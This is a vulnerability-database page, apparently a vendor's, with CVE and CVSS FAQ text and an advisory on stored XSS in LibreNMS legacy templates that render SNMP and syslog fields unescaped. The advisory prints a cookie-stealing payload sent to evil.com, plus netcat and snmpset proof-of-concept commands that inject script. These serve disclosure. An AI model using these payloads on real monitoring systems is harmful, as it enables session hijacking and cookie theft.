How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

383,463

Total vulnerabilities in the database

LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates — librenms / librenms

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Summary

Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.

Vulnerable Code

Location 1: Syslog `program` field (clearest instance)

File: includes/html/print-syslog.inc.php:11,13

$syslog_output .= &#039;&lt;td&gt;&lt;strong&gt;&#039; . $entry[&#039;program&#039;] . &#039; : &lt;/strong&gt; &#039; . htmlspecialchars((string) $entry[&#039;msg&#039;]) . &#039;&lt;/td&gt;&#039;;

The program field is output without htmlspecialchars() while the adjacent msg field IS properly escaped. The program value comes from syslog messages received from monitored devices.

Location 2: Alert details `ifAlias` (highest impact — main alerts page)

File: includes/html/functions.inc.php:607

$fault_detail .= $tmp_alerts[&#039;ifAlias&#039;] . &#039;; &#039;;

The ifAlias (port description) comes from SNMP polling and is stored in the ports table. When a port-related alert fires, format_alert_details() renders it unescaped. Multiple other fields in this function are also unescaped: isisISAdjIPAddrAddress (line 598), service_desc/service_message (lines 656,658), bgpPeerDescr (line 672), mempool_descr (line 686), app_type (line 709).

Location 3: Health pages — `mempool_descr`, `storage_descr`, `sensor_descr`

File: includes/html/pages/device/health/mempool.inc.php:38

echo &quot;&lt;h3 class=&#039;panel-title&#039;&gt;{$mempool-&gt;mempool_descr} ...&quot;;

File: includes/html/pages/device/health/storage.inc.php:27

echo &quot;&lt;h3 class=&#039;panel-title&#039;&gt;{$drive[&#039;storage_descr&#039;]} ...&quot;;

File: includes/html/pages/device/health/sensors.inc.php:29

echo &quot;&lt;h3 class=&#039;panel-title&#039;&gt;$sensor_descr ...&quot;;

All three health page templates output SNMP-polled descriptions directly into <h3> tags without escaping.

Location 4: Pseudowires `ifAlias`

File: includes/html/pages/pseudowires.inc.php:76

echo &quot;&lt;tr ...&gt;&lt;td colspan=2&gt;&quot; . $pw_a[&#039;ifAlias&#039;] . &#039;&lt;/td&gt;&lt;td colspan=2&gt;&#039; . $pw_b[&#039;ifAlias&#039;] . &#039;&lt;/td&gt;&lt;/tr&gt;&#039;;

Location 5: VRF page `ifAlias`

File: includes/html/pages/routing/vrf.inc.php:165

echo &quot;&lt;div style=&#039;font-size: 9px;&#039;&gt;&quot; . substr((string) short_port_descr($port[&#039;ifAlias&#039;]), 0, 22) . &#039;&lt;/div&gt;&#039;;

Data Flow

Attacker-controlled SNMP device/syslog source
  → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)
  → OR syslog receiver stores program field in syslog table
  → Authenticated user views alerts/health/syslog page
  → Legacy PHP template echoes raw value into HTML
  → XSS executes in victim&#039;s browser session

Attack Scenario

Attacker compromises or controls a network device monitored by LibreNMS
Attacker configures the device's SNMP interface description (ifAlias) to: <img src=x onerror="fetch('https://evil.com/'+document.cookie)">
LibreNMS polls the device via SNMP and stores the malicious ifAlias in the ports table
When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page
Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page

PoC

Syslog vector (simplest)

# Send syslog message with XSS in program field
# Assuming LibreNMS syslog receiver is at 10.0.0.1:514
echo &#039;&lt;14&gt;Mar 20 12:00:00 rogue-device &lt;img/src=x onerror=alert(document.domain)&gt;: test message&#039; | nc -u 10.0.0.1 514

SNMP vector

# On attacker-controlled SNMP device, set interface description:
# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s &#039;&lt;img src=x onerror=alert(document.cookie)&gt;&#039;
# LibreNMS will poll this during next discovery/polling cycle

Contrast with Properly Escaped Code

Newer Blade templates and some legacy code properly escape SNMP data:

includes/html/dev-overview-data.inc.php uses Clean::html() for sysDescr, sysName, hardware
app/Http/Controllers/Device/Tabs/PortsController.php uses htmlentities() on ifAlias
app/Http/Controllers/Table/EventlogController.php:97 uses htmlspecialchars() on message
All Blade templates use {{ }} auto-escaping

The vulnerability exists specifically in the legacy includes/html/ PHP files that have not been migrated to Blade.

Published: Aug 26, 2026
Updated: Aug 27, 2026
GHSA: GHSA-7w8c-qgxg-m7jx
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.1
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

CWEs:

CWE-79

OWASP TOP 10:

A7 - Cross-Site Scripting (XSS)

Affected Software
References

Software	Affected versions
librenms / librenms	`< 26.5.0`

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.